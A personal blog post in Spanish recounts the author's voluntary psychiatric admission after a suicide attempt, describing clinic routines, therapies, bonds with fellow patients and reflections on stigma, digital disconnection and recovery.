Mis agradecimientos a mi mamá, a mi prima, a mi familia en general que no dejaron de preocuparse ni un momento, a mi hija mayor que se “ocupó de la casa” (las comillas son chiste XD), a todas las personas cercanas que estuvieron desde el principio, a mis amigos, al equipo de profesionales del centro en su totalidad, a mis amigas que me llevo y a mis compañeras con las que quizás no tuve tanta afinidad, a mi criaturita menor por el hermoso termo que me dibujó para el mate, a Kata, a los dos gatos que daban vueltas por el centro, a la rata que asustó a mi ami-hermana y que consiguió que esta luego bajara al parque y buscara una ramita para ahuyentarla si el pobre roedor volvía a aparecer 🤣, a mi psicóloga, a mi psiquiatra, a quien no le sirve porque “siempre miente más que habla”, y a todas, pero todas las personitas que formaron parte de esta extraña aventura.
Se las quiere, se las aprecia, se les tiene cierto afecto o cariño, o “nuestra relación será distante cuanto mucho”. A los que entendieron todas las referencias, a los que no entendieron ninguna, a los que están de acuerdo, a los que no, a los que quieren contradecirme en todo, a los que no, a los grandes desastres mundiales (Perlas), a Jesús, a Alá, a Buda, los amo a todos. Ah, pero más amo a Rosalía. Y si por alguna casualidad llega a leer esto, quiero casarme con vos. No, no es una obsesión, y no estoy loca. Em, bueno… la verdad es que…
¡Adiós soperútanos!
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«Espero no volver a verte acá» — Internación, salud mental y aprendizaje
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Resumen
En cualquier otro contexto esa frase sonaría horrible. Para nosotras es más que un deseo, un anhelo. Es un símbolo de afecto, de amor, de compañerismo, de amistad, de experiencias compartidas.
Contenido
Pero mejor empezamos desde el principio: El 28 de enero decidí internarme de forma voluntaria en el área de salud mental de una clínica. La madrugada de ese día había tenido lugar mi tercer intento de suicidio. El primero y el segundo, habían ocurrido en mayo y junio de 2023 respectivamente. ¿Por qué? eso es algo que prefiero dejar para mí y personas cercanas. En fin, una semana después, me derivaron a un centro de salud integral en el que pasé un mes internada. Estas son mis experiencias y reflexiones.- Introducción
- El tabú del que todos hablan pero nadie entiende
- La cura que no existe
- El internado
- Estigmatización por defecto
- Desconexión total
- Terapia y tratamiento integral
- Nosotras y nosotres
- Una microsociedad sin acceso a internet
- Nuestras propias terapias grupales
- Ella es inocente aunque se demuestre lo contrario
- Hermanas de otras vidas
- Conclusiones finales
- Mimoterapia
- Aprendizajes
- Si llegaste hasta acá
- Gracias
Introducción
Nota: si sos un amigue/a y/o persona cercana y te estás enterando de esto ahora, porfa no te enojes. Mi mamá era la encargada de mi contacto con el exterior y no me pareció correcto que la atosiguen con mensajes o llamadas. El mismo era restringido como explico más abajo, y preocupar a tanta gente cuando en realidad no hubiese nada que pudieran hacer directamente, no me parecía correcto ni justo. Fue una decisión consciente que tomé incluso antes de ingresar allí. Habiendo aclarado esto, ahora sí, comencemos:
El tabú del que todos hablan pero nadie entiende
Hay un día de la prevención del suicidio, de la depresión, de la salud mental. Grandes corporaciones, empresas e instituciones de todo tipo hablan del tema. Incluso personas particulares tienen una opinión formada al respecto. Sin embargo, esto no sirve de nada si no se le da el enfoque que se merece.
Razones por las que una persona no debería suicidarse:
- Porque sos joven.
- Porque ya sos demasiado grande.
- Porque estás en la mitad de tu vida.
- Porque tenés toda una vida por delante.
- Porque tenés hijos.
- Porque tenés nietos.
- Porque tenés perros, gatos, tortugas, conejos.
- Porque tenés psicólogo y psiquiatra.
- Porque te falta Dios.
- Porque tenés trabajo, salud, algo de dinero, pareja, amor y/o el afecto de las personas que te quieren.
- Porque hay gente con problemas más graves.
- Porque siempre tenés que estar feliz y con una actitud positiva ante la vida.
- Porque te falta espiritualidad; sí, esto incluye a Dios, pero puede ser de amplio espectro: constelaciones familiares, bio descodificación, astrología, manifestar todo lo que querés lograr en tu vida para que se cumpla, el libro de autoayuda de tal o cual autor, creer en todo pero no estar segura de nada, no creer en nada pero creer que sabés la verdad de todo.
- Inserte aquí todas las otras razones que se le ocurran. Es un chiste, claro. Pero pueden dejarlas en comentarios.
Lo realmente importante no son las razones que una persona tenga para no deprimirse, hacerse daño o suicidarse. Lo importante es intentar que la persona aprenda a reconocer qué factores la llevaron a esos estados, y poder trabajar sobre ellos. Ya sea con medicación, con un tratamiento integral, con ambas, o con otras herramientas que le permitan aprender de sí misma y del resto para que dichas situaciones no vuelvan a ocurrir.
La cura que no existe
Lo primero que se debe comprender es que quienes pasamos por este tipo de estados, no somos personas convencionales mentalmente. Es decir, neurotípicas. Somos personas con factores patológicos psiquiátricos que debemos convivir con tratamiento integral durante gran parte de nuestra vida. Entonces, verlo desde una perspectiva individualista no solo es un error, sino que además causa más daño a la persona, haciéndole creer que puede con todo cuando en realidad no es así.
La culpabilidad intrínseca en este tipo de comentarios y argumentos que se genera en las personas afectadas, es altamente perjudicial, agravando el cuadro muchas veces, o impidiéndole incluso a la misma expresar sus emociones por miedo a los cuestionamientos. Existen limitaciones a lo que podemos y no podemos hacer. Y si nuestro entorno y nosotras mismas no entendemos esto, es muy probable que volvamos a recaer en ese tipo de crisis. ¿Por qué? Porque mucho que les pese a los dueños del nuevo egocentrismo new age, “nadie se salva solo”. El convivir en sociedad es una conducta básica e instintiva del ser humano como especie. La meritocracia y el avance de uno por sobre el otro, fomentando la productividad extrema, el cumplimiento de objetivos por encima de lo preestablecido y la falta de limitaciones que ponemos a nuestras propias actividades y responsabilidades, destruyen el inconsciente colectivo del trabajo comunitario y solidario en conjunto.
La supuesta horizontalidad en el trabajo y las relaciones sociales, no es más que una mera narrativa reduccionista que quita el foco y minimiza lo verdaderamente relevante para las personas: el acompañamiento del otro, la empatía, la comprensión, el entendimiento. El hecho de comprender que no es necesario sentir lo que al otro le pasa para poder ayudarlo. Sino simplemente, escuchar.
En un mundo tan hiperconectado y con la respuesta inmediata a solo un click de distancia, la prioridad de la misma es mucho más relevante que su contenido. Y no es algo solo de las redes sociales y las apps de mensajería. La inteligencia artificial también utiliza esta misma premisa, contemplando que además, ésta lo hace para ser condescendiente con el usuario. Es decir, no solo te dice lo que querés escuchar, sino que lo valida. Lo relevante para estas empresas es no perder la conexión con vos. A nadie le gustaría que una IA lo contradijera. En el caso de las personas, no es tan crítico, pero no por ello menos grave. Es decir, aunque las personas sí puedan y de hecho lo hacen, contradecirte, esto no significa que por el hecho de ser un argumento en contra este sea correcto. Y cuando de salud mental se trata, por lo general la mayoría está equivocada.
La baja tolerancia a la frustración, la depresión, los intentos de suicidio y desbordes emocionales se han incrementado muchísimo en los últimos años. El uso excesivo del celular, las redes sociales, las apps de mensajería y las aplicaciones de IA, ya es un debate abierto en especialistas de salud mental de todo el mundo. Es más, como se sabe, muchos países han tomado medidas al respecto, que como siempre ocurre en el caso de la política y los gobiernos, llegan tarde. La crisis está, y ya existe. ¿Qué podemos hacer para reparar a generaciones enteras dañadas psicológica y psiquiátricamente por empresas que ganan dinero con suscripciones, publicidad invasiva, el bombardeo constante de información, desinformación y contenido multimedia y demás? Desafortunadamente, no tengo una respuesta que deje contentos al diablo y a Dios.
El internado
Estigmatización por defecto
No sé si hace falta aclararlo antes de empezar. Pero la estigmatización que sufrimos quienes entramos en este tipo de centros, y los mismos en sí, es por demás preocupante e incluso infundada. Llamalo como quieras: manicomio, hospital psiquiátrico, hospital frenopático, centro de salud integral. No me interesa. Todos creen saber de antemano qué significa y a qué tipo de personas hace referencia. Rosalía en su canción Sakura dice: «Nunca me ha dado miedo la risa de un loco. Más miedo me da el que miente o el que ríe poco». Y quizás sea la forma más sencilla que tengo en estos momentos de explicarles lo que realmente importa de estos lugares. Cierto es que en ocasiones nos comparábamos con las presas de una cárcel, y hacíamos referencias a la canción de María Becerra en la serie «En el barro». Pero la realidad, no se parece ni por lejos a esa. Y esto quiero que quede claro desde el principio.
Desconexión total
Lo primero a destacar es que se me quitó el acceso a mi teléfono celular y a cualquier dispositivo con capacidad de conectarse a internet durante el tiempo que duró mi estadía allí. Al principio estuve en un box sin TV y con el transporte público pasando a toda hora por la avenida, ya que la ventana daba a la calle. Cuando me cambiaron a una habitación con otra compañera, sí podíamos ver la tele. Teníamos internet, pero estaba restringido a las apps que el codificador tenía por defecto, y no andaba muy bien que digamos. Es decir, que si no se tildaba, podíamos ver YouTube. Sin embargo, sí podíamos ver canales de cable. En cuanto a eso, mi compañera de cuarto miraba el canal de las novelas, así que para mí era suficiente.
Nuestro contacto con el exterior eran personas restringidas a las que podíamos llamar o que podían ir a visitarnos, pero que para ir debían sacar turno y ser aprobadas por mi equipo tratante, es decir, mi psicóloga y mi psiquiatra. El teléfono de línea tenía horarios limitados para recibir y hacer llamadas, y debíamos usarlo todas en ese horario.
Había dos sectores delimitados virtualmente, aunque eso no fue limitación para que ocasionalmente rompiéramos las reglas. En uno estaban las personas en observación. En el otro, las personas más estables. Cada sector tenía su propio office de enfermería y su propio teléfono. Pero además, el mismo teléfono era usado por las propias enfermeras para manejar asuntos relacionados con las pacientes: si nos llevaban ropa, elementos de higiene y demás.
Quienes venían a vernos, no podían subir a los sectores de las pacientes, sino que éramos nosotras quienes bajábamos a planta baja con una enfermera o un coordinador, y nos hacían pasar a una especie de patio en el que estábamos con la visita por el lapso de una hora aproximadamente, o a un consultorio si dicho patio estaba lleno.
Otro detalle: cualquier elemento que nos trajeran debía pasar la revisión de enfermería. Si se consideraba potencialmente peligroso para una misma o para terceras, no se habilitaba si no era necesario y era devuelto a la familia; y si era necesario, quedaba en enfermería cuando la paciente lo solicitara, pero con un uso limitado y vigilancia cada cierto tiempo para que no ocurriera nada grave. Ejemplo: una maquinita de depilar. Si en una hora no la devolvíamos, iban a ver cómo estábamos.
Terapia y tratamiento integral
No se trataba solo de darnos medicación. Teníamos horarios predefinidos para desayuno, almuerzo, merienda y cena. Teníamos un equipo tratante por cada una que consistía en un psicólogo o psicóloga y un o una psiquiatra que nos veían dos veces por semana. Un equipo de enfermeras, que iban alternando en guardias de ocho horas, con otras definidas para fines de semana y feriados.
Ah, quizás para varias personas resulte un detalle, pero claro está que los sectores estaban divididos por género. Las mujeres estábamos por un lado y los hombres por otro. No había contacto directo entre ambos, y no se suponía que lo hubiera. De hecho, los esporádicos contactos que hubo, fueron detectados por operadores, acompañantes terapéuticos, coordinadores y enfermeros.
Este grupo de contención, además, se encargaba de gestionar las cuatro bajadas al parque que teníamos por día. Para muchas era una razón para ir a fumar. Para quienes no fumábamos, charlar, escuchar música, tomar mate, o simplemente tomar sol y un poco de aire.
Entre las actividades predefinidas por el centro estaban: sesión de manicuría el sábado a la mañana a cargo de una de las operadoras, terapia grupal (con la que no me llevé muy bien con el moderador), asamblea de convivencia, que casi ni tuvimos porque el moderador estaba de licencia, arteterapia, musicoterapia (mis favoritas) y yoga y gimnasia, mis menos favoritas en ese orden XD. Yoga me gustaba, pero requería mucho trabajo físico al que no estaba acostumbrada. Igual gimnasia. El profe era muy exigente para mi gusto, pero estas son opiniones, no datos jajaj.
Musicoterapia fue la más interesante y la que más me permitía explayarme, en la que más salía a relucir mi creatividad y mi, quizás mi no tan bueno, pero sí suficiente talento para la música. Conocí y vi de primera mano instrumentos muy interesantes. Me gustaría encontrar actividades similares ahora que estoy afuera. Pero claro, eso con el paso del tiempo.
He de destacar a nivel personal también, que por mi condición de celiaquía me daban almuerzo y cena de Sintaxis, todo con postre incluido, por lo que la comida se transformó en un lujo, privilegio o derecho al que pocas veces tuve acceso, y por el que estoy muy agradecida. Claro que el postre estaba incluido en sí para todas. De hecho, a veces nos daban frutas en cualquiera de las cuatro comidas, lo que también era bueno. Excepto el mate, no había ninguna otra bebida permitida potencialmente perjudicial para la medicación y el tratamiento, como por ejemplo, las gaseosas y el café. Me parece lógico, pero no significa que no extrañara el segundo durante los primeros días. Por último en esta sección, la diferencia de horario entre la merienda y la cena nos resultaba a todas demasiado corta, pero las reglas eran así, y había que cumplirlas a rajatabla.
Nosotras y nosotres
No sé bien por dónde empezar a escribir esta parte. Hay tanto que decir que tengo cierto temor de omitir algo. Sin embargo, aún así decido intentarlo, ya que es para mí la parte principal de todo este artículo.
Una microsociedad sin acceso a internet
El hecho de que ninguna tuviese conexión con el mundo exterior ni acceso a redes sociales, fomentaba nuestra capacidad de buscar elementos que nos ayudaran a pasar el día. Me dejaron entrar un parlante Bluetooth chiquito con un cargador portátil y un pen drive USB, con el que pasaba los dos últimos discos de Rosalía de forma constante y hasta casi obsesiva. También nos hicimos fans de una radio de Jazz que está disponible en TuneIn también.
Jugábamos a las cartas con mis cartas en braille, jugaban al uno, al tutifruti, y hasta a la generala con unos dados de una compañera. Los juegos, el mate, y hasta las sesiones personales de maquillaje y peinado se compartían en pequeños pero significativos grupos que se iban formando. Claro está que en última instancia todas teníamos contacto entre sí, y aunque algunas mujeres con patologías más complejas para relacionarse tuviesen sus dificultades adicionales, esto no significaba que no hubiese alguna dispuesta a darle su apoyo de una forma u otra.
Nuestras propias terapias grupales
Estábamos allí cada una por patologías diferentes. Unas se iban, otras volvían, otras se quedaban. Pero había cosas en común que en la mayoría de los casos habíamos compartido: depresión, autolesiones, intentos de suicidio. ¿Qué feo hablar de eso, no? ¿Cómo hacés para hablarle sobre esos temas a una criatura de 18 años o a una señora de 70? Quizás no haga falta. Quizás quien tenga que entenderlo seas vos.
Porque no importaba la patología. Estábamos ahí porque no habíamos podido con nuestra realidad. Porque nos había sobrepasado. E intentar suicidarse no es querer morir. Es querer dejar de sufrir. Es al fin deshacerse de aquello que no podemos manejar sobre nuestro entorno, pero por sobre todas las cosas, sobre nosotras mismas. De ahí lo de las razones que expuse al principio.
A todas nos habían dicho las mismas cosas. Sin importar nuestra edad, nuestras experiencias de vida, nuestras patologías, nuestras realidades, nuestra condición social, o incluso en la sección especial de Narcóticos Anónimos que había, y que olvidé mencionar más arriba, se hablaba de esto también. La sociedad, como en muchos de los casos en los que me ha tocado presenciar por mis múltiples condiciones, primero discrimina, juzga, prejuzga, habla, opina, critica, acusa, minimiza y daña antes de empatizar, entender, escuchar, comprender, y si no se puede, abrazar y contener.
La mimoterapia era la más aplicada entre nosotras mismas. Cuando no sabés qué decir o qué hacer, a veces simplemente escuchar, abrazar, contener y quedarte callada, es mejor que cualquier palabra dicha. Contuve varias veces aunque no me correspondía. Me contuvieron varias veces aunque no les correspondía. Buscamos ayuda y la exigimos cuando la necesitábamos. Desafiamos a la autoridad, cuando detectábamos injusticias que sabíamos que con un poco de buena voluntad se podían solucionar. No siempre teníamos éxito. No siempre lográbamos lo que queríamos. Pero intentarlo y arriesgarse siempre es mejor que no hacer nada. Oscilábamos entre lo justo, lo injusto y lo correcto. Lo correcto no siempre me parecía justo. Sé que ya lo dije, pero esto fue algo que también tuve que aprender en esta terapia.
Ella es inocente aunque se demuestre lo contrario
Habría muchas hermosas personitas a las que debería mencionar. Hacerlo con solo dos me parece terriblemente injusto. Pero quiero que entiendan que si lo hiciera con todas, la gente no tendría ni ganas de leer esto. Así que vamos con la primera: tiene 18 añitos. No sé el porqué. Va, en realidad sí. La otra personita especial y mi psicóloga tratante me lo dijeron. Fue por mi sobre empatía. La idea de querer ayudar a todo el mundo sin importar si me estaba ayudando a mí misma con eso o no.
Ella tenía su equipo, su mamá, a su familia, y otras compañeras con las que contar. Pero la adopté como hijita postiza. Su patología era compleja y casi que desconocida para mí. No sabía muy bien qué estaba haciendo cuando empecé a protegerla de todo mal, y luego de todo bien XD, pero lo hice. Una de las cosas que tuve que entender es: “Kathy, no podés controlarlo todo”. Sin embargo, la escuché. Escuché lo que le pasaba, lo que necesitaba, y la ayudé como pude, haciendo conscientes a las demás de qué debíamos hacer para acompañarla.
Poco a poco empezó a mimetizarse conmigo, y no estando ya mi “Smithers” porque le habían dado el alta, pude entregarme a mi crapulencia.
Vamos, que no hice demasiado che. Además de quererla mucho, brindarle mi apoyo, mi contención, defenderla de cualquier cosa de la que se le acusara aunque sea verdad, creerle casi todas sus mentiras, hacer caso a su vocecita de niña inocente cuando las demás me decían que decía cosas horribles y palabrotas, y fomentar sus comentarios insidiosos y maliciosos sobre otras personas. ¿Qué tiene de malo todo eso realmente?
Lo cierto es que ella era inocente aunque se demuestre lo contrario. Y es que, al principio me resultaba una niña aparentemente ingenua a la que temía que se la pueda manipular. Poco a poco fue aprendiendo a que podía ella misma no dejar que manipulen a las que llegaron después. Y resultó mucho más inteligente y capaz de comprender al resto de lo que yo pensaba. Eso me pasa por querer prejuzgar y querer controlar todo. Mal hecho, Kathy. Sin embargo, sos una excelentísima personita, una de las grandes amigas que me traje conmigo junto con muchas otras. Te quiero muchísimo. Y espero que estés muchísimo mejor en el nuevo lugar en el que van a poder tratar ahora sí de forma correcta tu patología.
Hermanas de otras vidas
No sé por qué yo, no sé por qué ella, no sé por qué nosotras. Pero así sucedió. Más allá de todo lo que dije de la espiritualidad, las creencias actuales y toda esa parafernalia consumista y adaptada al supuesto bienestar personal, lo cierto es que aún hoy en día hay cosas a las que no les encuentro explicación lógica. Y quizás sea mejor así. “No todo lo que puede ser cuantificado cuenta, ni todo lo que cuenta puede ser cuantificado”. También dicen que “hay razones que la propia razón nunca entenderá”.
¿Cómo dos ñoñas tan parecidas y distintas entre sí se encontraron en el mismo lugar? No lo sé. Pero hubo tres cosas que nos unieron: el lugar, nuestro TDAH, y la última que decidimos no mencionar por nuestro pacto de hermanas. Logré conectar de forma impresionante con ella. Y le pasó lo mismo conmigo. Entró dos días después que yo y salió una semana antes. Sin embargo, ese tiempo juntas fue quizás uno de los más significativos de nuestras vidas.
Cuando nos poníamos a hablar de ñoñeces el resto se alejaba. Descubrí que soy una ñoña con todas las letras, que soy muy inteligente, y que muchas veces puedo resultar pedante. A veces tener una respuesta para todo no tiene sentido sin argumentos sólidos que la sostengan.
Me contuvo cuando lo necesité, la contuve cuando lo necesitó. Era la “Smithers” que no me dejaba robarle un dulce a una niña. Era la que me ponía límites cuando hacía chistes que, por lógica, nadie debería hacer en un hospital psiquiátrico, a menos que quisiera quedarse más tiempo. Era la que me decía “Katherine” cuando debía pararme el carro. Completábamos crucigramas a la velocidad de la luz.
Me estaba leyendo un libro muy hermoso sobre un personaje político que, más que un presidente, fue un militante de la vida. Libro que no pienso terminar sin que ella me lo lea. No, no. No intenten imaginar quién es dicho personaje. No es lo importante. Rompimos todas las reglas habidas y por haber. Me leía libros en mi habitación, yo iba a ver Los Simpson en la suya los sábados, y nos regalamos tesoros que valen mucho más que cualquier palabra dicha.
Nos regalamos la realidad de mostrarle a otra persona tal cual somos. Sin mentiras, con honestidad, con empatía, con respeto mutuo. Sabiendo que nada de lo que dijera una, haría enojar a la otra. Nos regalamos el arte de conocernos. La magia de estar ahí. En ese tiempo, en ese lugar. Y mientras nos preguntábamos: “¿Cuánto tiempo más llevará?”, disfrutábamos de cada momento juntas.
No, no. No se confundan. Ella no es como con otras personas especiales. No quiero ser su novia, ni me gusta de tal manera. Pero el amor que llegamos a tenernos en tan poco tiempo, trasciende las fronteras de lo que jamás había esperado que sucediera.
Y esto va para vos especialmente: no voy a negar que lloré cuando te fuiste. A pesar de lo feliz que estaba. Era como una felicidad triste, si tal cosa existe, ya que estaba segura de que era lo mejor para vos, y que íbamos a vernos afuera de todos modos. Pero lloré. Lloré como pocas veces he llorado cuando alguien se aparta de mi vida aunque sea por un tiempo tan corto.
Sí, sí. Las obsesiones y el apego emocional no son del todo buenos. Es decir, como me dijo alguien una vez, hay apegos buenos y apegos malos. Pero si hay algo que aprendí, es que puedo tener un apego bueno con vos, sin que ambas nos atosiguemos entre sí. ¿Por qué? Bueno, resulta más fácil cuando no tocás mucho esa cosa conocida como celular. No le doy mucha pelota y lo bueno es que va a seguir siendo así. Acostumbrarse un mes a estar sin eso, me dio la seguridad para entender que no necesito ni tenerlo todos los días en la mano, ni tenerlo a cada rato siquiera. Poco a poco iré activando algunas cosas, pero otras quedarán desactivadas para siempre.
Por supuesto, eso nada tiene que ver con nosotras. Te lo cuento porque es algo que hablamos y que pienso sostener por mi parte. Anotaré los números de las chicas que me los escribieron en braille con la impresora manual braille que compré por Mercado Libre. Y bueno, ya que estamos, les dejo un muy buen cargador portátil que le recomiendo a todo el mundo y con el cual, la batería del parlantito Bluetooth, me duraba cinco días. Mentira. Era tener el cargador conectado constantemente para que eso ocurriera. Pero al fin y al cabo, el cargador es lo importante XD.
No, no. No te confundas. No estoy haciendo publicidad pagada. Y perdón por incluir esto en una sección que iba exclusivamente para vos. Es que me parecieron productos tan útiles y necesarios, que no pude resistir el impulso de compartirlos. En fin, nuestra despedida ese día que faltamos a gimnasia fue de las charlas más inteligentes e interesantes que tuve con persona alguna.
Te extraño. Sí. Te extraño. Pero también me di cuenta después de que te fuiste, cuánto me extrañaba a mí también. Y quiero seguir sosteniendo eso unos días más. Y es que, volviendo a mí, mucho ha cambiado allí desde que fuimos separadas. Lo cierto es que la sociedad deprime, y el mal no se redime sin cariño, y que si no es por esas personas que acercan su alegría, sería más amargo todavía. Quizás volver a la naturaleza, o al menos a lo analógico, sería nuestra mejor riqueza. Allí podemos querernos y amarnos libremente, y ya no habrá ningún zoológico de gente. Si acaso, un jardín de gente que haya sido cultivado y regado con amor. O quizás, y solo quizás, de alguna forma por pequeñita que sea, podríamos hacerlo nosotras.
Te quiero muchísimo. Hasta prontito, Kathy — Katherine.
Conclusiones finales
No sé si escribí todo lo que quería, o si terminó siendo más de lo que debería. No sé cuánta gente va a leer esto hasta el final, y realmente no me importa. Con que una sola persona entienda de forma favorable lo que intenté explicar en este enorme post, estaré satisfecha. No escribo para hacerme famosa. No escribo para llegar a las grandes ligas, ni para ser influencer ni nada que se le parezca. Sí es cierto que promuevo mis proyectos y aplicaciones en cuanto puedo, pero también lo es que además de traerme algún beneficio propio, la idea es que sea de utilidad para el resto.
Habiendo dicho esto, vamos a continuar con este principio del fin.
Mimoterapia
Sí. Las mencioné a ellas dos. Pero no por ello las demás deberían sentirse ofendidas. Por favor, se los pido. No es más que una elección que me vi obligada a hacer debido a las circunstancias que rodean hoy en día este tipo de contenido en texto. Pero quiero que sepan que las quiero mucho también. Que algunas llegaron a ser no solo grandes compañeras, sino grandes amigas. Personitas maravillosas con las que quiero juntarme afuera para charlar de la vida, tomar un par de mates y reírnos de cuando estuvimos internadas en un hospital psiquiátrico todas juntas. Ah, y no se olviden de ir a comer a Sintaxis, ¿eh?
A las que se fueron antes, quiero contarles que seguimos manteniendo la cadena de incluir y dar la bienvenida a las nuevas. Que les damos su lugar, charlamos y vemos los puntos en común para generar espacios y hábitos agradables para compartir. Charlar de cualquier cosa con mates de por medio y jugar a algún juego, ya es una constante entre todas, y lo seguirá siendo, así que por eso no se preocupen. La tradición se mantiene viva e intacta como nuestras predecesoras la instauraron.
Aprendizajes
No puedo controlarlo todo. No puedo sentirme culpable por cosas que escapan a mi control. A veces lo justo o lo injusto, pueden ser lo correcto. Y a veces no. Debo poner límites. Debo ponerme a mí por encima de cualquier otra persona. Porque como lógica existencialista, si no me cuido a mí, si yo no estoy bien conmigo misma, o al menos aceptablemente, como ahora, no puedo cuidar a nadie más. Ni siquiera a mi gatita Kata, quien se bancó estoicamente un mes sin mí. Actualización: al momento de publicar este artículo, la susodicha ya aplicó su venganza exitosamente. Fue muy inteligente y esperó a que solo estuviésemos las 2 para realizar su malévolo plan. Admiro con gran interés, la enorme paciencia que tuvo, esperando el momento justo para hacer de las suyas. Pero mejor sigo con lo que venía diciendo.
No debo ser tan impulsiva. A veces la respuesta inmediata no es la correcta. Tengo que hablar además de escuchar. En ciertas ocasiones, no dejo que otras personas metan bocado. Soy muy inteligente, sí. Pero eso no me hace mejor ni peor que nadie. Se puede aprender de cualquier persona, desde un niño pequeño hasta de una persona de cien años o más. Lo importante no es la edad, sino lo que la otra persona pueda aportar a tu vida, siempre y cuando sea con respeto y escuchándote a su vez, como ya dije.
No es mi culpa si no sé cómo ayudar a alguien. No es mi culpa, ni la tuya, si no supiste o no pudiste ayudarme. No es nuestra culpa si decidimos alejarnos porque no podíamos llegar a un acuerdo. Y esto es muy importante: no es nuestra culpa si no podemos o no supimos cómo ayudar a una persona con depresión, autolesiones o incluso intentos de suicidio, o suicidios directamente. No lo es. No hay nada que podamos hacer. Porque hay herramientas y recursos que por más que lo intentemos, no tenemos.
La primera ayuda tiene que venir de una misma. Si yo hubiese entrado a la internación con una actitud negativa sobre la misma, me hubiese resultado mucho más difícil salir. Pero entré por mi propia voluntad. Entré y me quedé no solo porque salir o escapar me sería perjudicial, sino además porque era la única salida. Porque fue el primer pensamiento que me vino a la cabeza cuando estaba a punto de terminar con mi propia vida. Entré porque sabía que necesitaba ayuda que por fuera no podía obtener.
No sabía hasta entonces en qué consistía esa ayuda realmente. Pero era mi último caballo de batalla. El último bastión de resistencia que se me presentó antes de rendirme definitivamente. Y lo aproveché. Y me sirvió. No sé si soy o no una mejor persona. Pero sí sé al menos, que desde ahora, intentaré serlo primero conmigo. Y luego con los demás.
Si llegaste hasta acá
La frase del título quizás se sobreentiende a estas alturas. Pero significa básicamente que esperamos no volver a vernos ninguna de nosotras, ni los profesionales a nosotras, en ese lugar de nuevo. Significaría que no volvimos a tener una recaída o una crisis tan fuerte como para volver. Que el tratamiento funcionó para ayudarnos a manejar mejor, a partir de ahora, los factores que nos llevaron allí en primera instancia.
También he de destacar que decidí no nombrar a personas directamente para cuidar su privacidad. Y por esa misma razón habrá referencias que solo yo y esas personas entendamos. Lo siento. Esta es una carta para todos, pero en especial para ellas y para mí.
Gracias
Muchas gracias por leer hasta el final. No solo es muy valioso para mí, sino que te invito a compartirlo para que sea de ayuda y aprendizaje también para otros. No tengo todas las respuestas. Es más, a veces se me presentan aún más preguntas. Pero sí puedo contar lo que viví y lo que aprendí. Y sí puede resultarle quizás informativo a alguien que esté pasando por lo mismo, o a alguien que tenga algún familiar en dichas situaciones y no sepa cómo manejarlo.
Mis agradecimientos a mi mamá, a mi prima, a mi familia en general que no dejaron de preocuparse ni un momento, a mi hija mayor que se “ocupó de la casa” (las comillas son chiste XD), a todas las personas cercanas que estuvieron desde el principio, a mis amigos, al equipo de profesionales del centro en su totalidad, a mis amigas que me llevo y a mis compañeras con las que quizás no tuve tanta afinidad, a mi criaturita menor por el hermoso termo que me dibujó para el mate, a Kata, a los dos gatos que daban vueltas por el centro, a la rata que asustó a mi ami-hermana y que consiguió que esta luego bajara al parque y buscara una ramita para ahuyentarla si el pobre roedor volvía a aparecer 🤣, a mi psicóloga, a mi psiquiatra, a quien no le sirve porque “siempre miente más que habla”, y a todas, pero todas las personitas que formaron parte de esta extraña aventura.
Se las quiere, se las aprecia, se les tiene cierto afecto o cariño, o “nuestra relación será distante cuanto mucho”. A los que entendieron todas las referencias, a los que no entendieron ninguna, a los que están de acuerdo, a los que no, a los que quieren contradecirme en todo, a los que no, a los grandes desastres mundiales (Perlas), a Jesús, a Alá, a Buda, los amo a todos. Ah, pero más amo a Rosalía. Y si por alguna casualidad llega a leer esto, quiero casarme con vos. No, no es una obsesión, y no estoy loca. Em, bueno… la verdad es que…
¡Adiós soperútanos!
#acompañamiento #depresión #desconexiónDigital #empatía #experienciaPersonal #hospitalPsiquiátrico #InteligenciaArtificial #intentoDeSuicidio #internaciónPsiquiátrica #neurodivergencia #prevenciónDelSuicidio #redesSociales #SaludMental #saludMentalEnArgentina #suicidio #TDAH #terapia #Testimonio #tratamientoIntegral #vínculosHumanos - Introducción
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«Espero no volver a verte acá» — Internación, salud mental y aprendizaje
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Resumen
En cualquier otro contexto esa frase sonaría horrible. Para nosotras es más que un deseo, un anhelo. Es un símbolo de afecto, de amor, de compañerismo, de amistad, de experiencias compartidas.
Contenido
Pero mejor empezamos desde el principio: El 28 de enero decidí internarme de forma voluntaria en el área de salud mental de una clínica. La madrugada de ese día había tenido lugar mi tercer intento de suicidio. El primero y el segundo, habían ocurrido en mayo y junio de 2023 respectivamente. ¿Por qué? eso es algo que prefiero dejar para mí y personas cercanas. En fin, una semana después, me derivaron a un centro de salud integral en el que pasé un mes internada. Estas son mis experiencias y reflexiones.- Introducción
- El tabú del que todos hablan pero nadie entiende
- La cura que no existe
- El internado
- Estigmatización por defecto
- Desconexión total
- Terapia y tratamiento integral
- Nosotras y nosotres
- Una microsociedad sin acceso a internet
- Nuestras propias terapias grupales
- Ella es inocente aunque se demuestre lo contrario
- Hermanas de otras vidas
- Conclusiones finales
- Mimoterapia
- Aprendizajes
- Si llegaste hasta acá
- Gracias
Introducción
Nota: si sos un amigue/a y/o persona cercana y te estás enterando de esto ahora, porfa no te enojes. Mi mamá era la encargada de mi contacto con el exterior y no me pareció correcto que la atosiguen con mensajes o llamadas. El mismo era restringido como explico más abajo, y preocupar a tanta gente cuando en realidad no hubiese nada que pudieran hacer directamente, no me parecía correcto ni justo. Fue una decisión consciente que tomé incluso antes de ingresar allí. Habiendo aclarado esto, ahora sí, comencemos:
El tabú del que todos hablan pero nadie entiende
Hay un día de la prevención del suicidio, de la depresión, de la salud mental. Grandes corporaciones, empresas e instituciones de todo tipo hablan del tema. Incluso personas particulares tienen una opinión formada al respecto. Sin embargo, esto no sirve de nada si no se le da el enfoque que se merece.
Razones por las que una persona no debería suicidarse:
- Porque sos joven.
- Porque ya sos demasiado grande.
- Porque estás en la mitad de tu vida.
- Porque tenés toda una vida por delante.
- Porque tenés hijos.
- Porque tenés nietos.
- Porque tenés perros, gatos, tortugas, conejos.
- Porque tenés psicólogo y psiquiatra.
- Porque te falta Dios.
- Porque tenés trabajo, salud, algo de dinero, pareja, amor y/o el afecto de las personas que te quieren.
- Porque hay gente con problemas más graves.
- Porque siempre tenés que estar feliz y con una actitud positiva ante la vida.
- Porque te falta espiritualidad; sí, esto incluye a Dios, pero puede ser de amplio espectro: constelaciones familiares, bio descodificación, astrología, manifestar todo lo que querés lograr en tu vida para que se cumpla, el libro de autoayuda de tal o cual autor, creer en todo pero no estar segura de nada, no creer en nada pero creer que sabés la verdad de todo.
- Inserte aquí todas las otras razones que se le ocurran. Es un chiste, claro. Pero pueden dejarlas en comentarios.
